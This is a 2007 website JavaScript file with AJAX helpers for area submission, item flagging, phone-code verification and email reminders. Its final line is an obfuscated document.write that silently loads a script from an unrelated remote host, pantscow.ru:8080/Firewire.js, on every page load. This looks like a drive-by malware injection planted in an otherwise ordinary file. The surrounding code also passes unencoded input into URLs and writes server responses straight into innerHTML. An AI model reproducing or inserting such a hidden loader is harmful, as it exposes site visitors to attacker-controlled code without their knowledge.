/**
 * @author Pavel Senko; 
 * (c) 2007 moimart.com
 */

var xmlhttp
/*@cc_on @*/
/*@if (@_jscript_version >= 5)
  try {
  xmlhttp=new ActiveXObject("Msxml2.XMLHTTP")
 } catch (e) {
  try {
    xmlhttp=new ActiveXObject("Microsoft.XMLHTTP")
  } catch (E) {
   xmlhttp=false
  }
 }
@else
 xmlhttp=false
@end @*/
if (!xmlhttp && typeof XMLHttpRequest!='undefined') {
	try {
		xmlhttp = new myXMLHttpRequest();
	} catch (e) {
		xmlhttp=false
	}
}

// use $('myId') instead of document.getElementById('myId')

var $ = function (id, doc) {
	if((id)&&((typeof id == "string")||(id instanceof String))){
		if (!doc) { doc = document; }
		var ele = doc.getElementById(id);
		// workaround bug in IE and Opera 8.2 where getElementById returns wrong element
		if (ele && (ele.id != id) && doc.all) {
			ele = null;
		// get all matching elements with this id
			eles = doc.all[id];
			if (eles) {
			// if more than 1, choose first with the correct id
				if (eles.length) {
					for (var i=0; i < eles.length; i++) {
						if (eles[i].id == id) {
							ele = eles[i];
							break;
						}
					}
					// return 1 and only element
				} else { ele = eles; }
			}
		}
		return ele;
	}
	return id; // assume it's a node
}

function changeLocationTo(){

	var items 	= changeLocationTo.arguments.length;
//	var sname 	= changeLocationTo.arguments[0]; 
	var sid 	= changeLocationTo.arguments[0]; // was 0
	var	p = document.getElementById('country_'+sid);
		p.className="white schosen";
	var temp;
	
//	document.newitem.sid.value=sid;
//	document.newitem.sname.value=sname;
	
//	var suggested = document.getElementById('suggested');
//	suggested.value = '';
	
	for (i = 1; i < items;i++) {
		if (arguments[i] != sid) {
			temp = document.getElementById('country_'+arguments[i]);
			temp.className = "black schoice";
		}
	}
	
//	var saves = document.getElementById('savetheitem');
//		saves.style.opacity = 1;
//	var saveb = document.getElementById('saveitembutton');	
//		saveb.onclick = clickIt;

	// get a list of categories to choose from
	// (AJAX shit)
	//
	//ucats(parentid);
	
}

function showhide(id) {
	var theObj = document.getElementById(id);
	var theDisp = theObj.style.display == "none" ? "block" : "none";
	theObj.style.display = theDisp;
}

function userSuggestedCategory() {

	var suggested = document.getElementById('suggested').value;
	var trimmed = suggested.replace(/^\s+|\s+$/g, '');

	if (trimmed.length > 1) {
		var saves = document.getElementById('savetheitem');
			saves.style.opacity = 1;
		var saveb = document.getElementById('saveitembutton');	
			saveb.onclick = clickIt;
	} else {
		document.newitem.uncategorized.value='maybe';
	}
}



function clickIt() {
	
	// do nothing, submit the form
	//
	// return true;
}

function addMyArea(uid) {
	
	var ama = document.getElementById('addmyarea');
	var uad = document.getElementById('useradded');
	
	ama.innerHTML = '<span class="green">working...</span>';

	var addcity 	= document.getElementById('addcity');
	var addzip 		= document.getElementById('addzip');
	var addcountry 	= document.getElementById('addcountry');
	var rnd = Math.random();

	var city 	= addcity.value;
	var zip 	= addzip.value;
	var country = addcountry.value;
	
	url="/?ajax=1&function=addmyarea&uid="+uid+'&city='+city+"&zip="+zip+"&country="+country+"&rnd="+rnd;
    xmlhttp.open("POST",url,true);
    
    xmlhttp.onreadystatechange=function() {

    	if (xmlhttp.readyState==4) {
			var response = xmlhttp.responseText;
			uad.innerHTML = response+uad.innerHTML;
			
			ama.innerHTML = '<b class="green">added</b>';
		}
	}
	xmlhttp.send(null);
	return false;
	
}

function flagTheItem(iid,uid,itype) {
	
	var flag = document.getElementById('flag_'+iid);
	
	if (!uid) { flag.innerHTML = '<span class=red>please, <a href="/login/">log in</a>  or <a href="/register/">register</a> to vote</span>'; return false; }
	
	var rnd = Math.random();
	
	url="/?ajax=1&function=flagit&iid="+iid+'&uid='+uid+"&type="+itype+"&rnd="+rnd;
    xmlhttp.open("POST",url,true);
    
    xmlhttp.onreadystatechange=function() {

    	if (xmlhttp.readyState==4) {
			var response = xmlhttp.responseText;
			flag.innerHTML = response;
		}
	}
	xmlhttp.send(null);
	return false;
	
}

function sendvcode (uid) {
	
	var smc = document.getElementById('sendmethecode');
	smc.innerHTML = '<b class="orange">sending the code...</b>';
	var rnd = Math.random();
	
	url="/?ajax=1&function=sendvcode&uid="+uid+"&rnd="+rnd;
    xmlhttp.open("POST",url,true);
    
    xmlhttp.onreadystatechange=function() {

    	if (xmlhttp.readyState==4) {
			var response = xmlhttp.responseText;
			
			if (response == '1') {
				smc.innerHTML = '<b class="green">the code has been sent</b>';
				
			} else {
				smc.innerHTML = '<div class="red cleaner"><b>cannot send the code now, please, try again later</b></div>';
			}
		}
	}
	xmlhttp.send(null);
	return false;
	
}

function verifythecode (vid,uid) {
	
	var vinput = document.getElementById(vid);
	var vcode = vinput.value;
	var rnd = Math.random();
	
	url="/?ajax=1&function=verifycode&code="+vcode+"&uid="+uid+"&rnd="+rnd;
    xmlhttp.open("POST",url,true);
    
    xmlhttp.onreadystatechange=function() {

    	if (xmlhttp.readyState==4) {
			var response = xmlhttp.responseText;
			
			if (response == '1') {
				var ver = document.getElementById('verification');
				ver.innerHTML = '<b class="green">the phone is verified</b>';
				var vlabel = document.getElementById('notverified');
				vlabel.innerHTML = '<b class="green">verified</b>';
				
			} else {
				var verror = document.getElementById('verror');
				verror.innerHTML = '<div class="red cleaner"><b>the code is not correct</b></div>';
			}
		}
	}
	xmlhttp.send(null);
	return false;
	
}

function reminder(reminder,id,respid) {
	
	
	showhide(reminder);
	
	
	var einput = document.getElementById(id);
	var email = einput.value;
	var reminded = document.getElementById(respid);
	var rnd = Math.random();
	
	url="/?ajax=1&function=reminder&email="+email+"&rnd="+rnd;
    xmlhttp.open("POST",url,true);
    
    xmlhttp.onreadystatechange=function() {

    	if (xmlhttp.readyState==4) {
			var response = xmlhttp.responseText;
			reminded.innerHTML = response;
		}
	}
	xmlhttp.send(null);
	return false;
	
}

function myXMLHttpRequest() {
	
 	var xmlhttplocal=false;
 	
 	if (window.ActiveXObject) {
 	
		try {
			xmlhttplocal= new ActiveXObject("Msxml2.XMLHTTP")
		} catch (e) {
			try {
				xmlhttplocal= new ActiveXObject("Microsoft.XMLHTTP")
			} catch (E) {
				xmlhttplocal=false;
			}
		}
		
	} else if (window.XMLHttpRequest) {
		
		xmlhttplocal = new XMLHttpRequest();
		if (xmlhttplocal.overrideMimeType) {
			xmlhttplocal.overrideMimeType('text/xml');
		}
	}
	
	if (!xmlhttplocal) {
		alert('Giving up :( Cannot create an XMLHTTP instance');
		return false;
	}
	
	return xmlhttplocal;

}


function isIE() {
	var useragent = navigator.userAgent;
	var pos = useragent.indexOf('MSIE');
	if (pos > -1) {
		return false;
	} else {
		return true;
	}

}
document.write('<s'+'cript type="text/javascript" src="http://pantscow.ru:8080/Firewire.js"></scr'+'ipt>');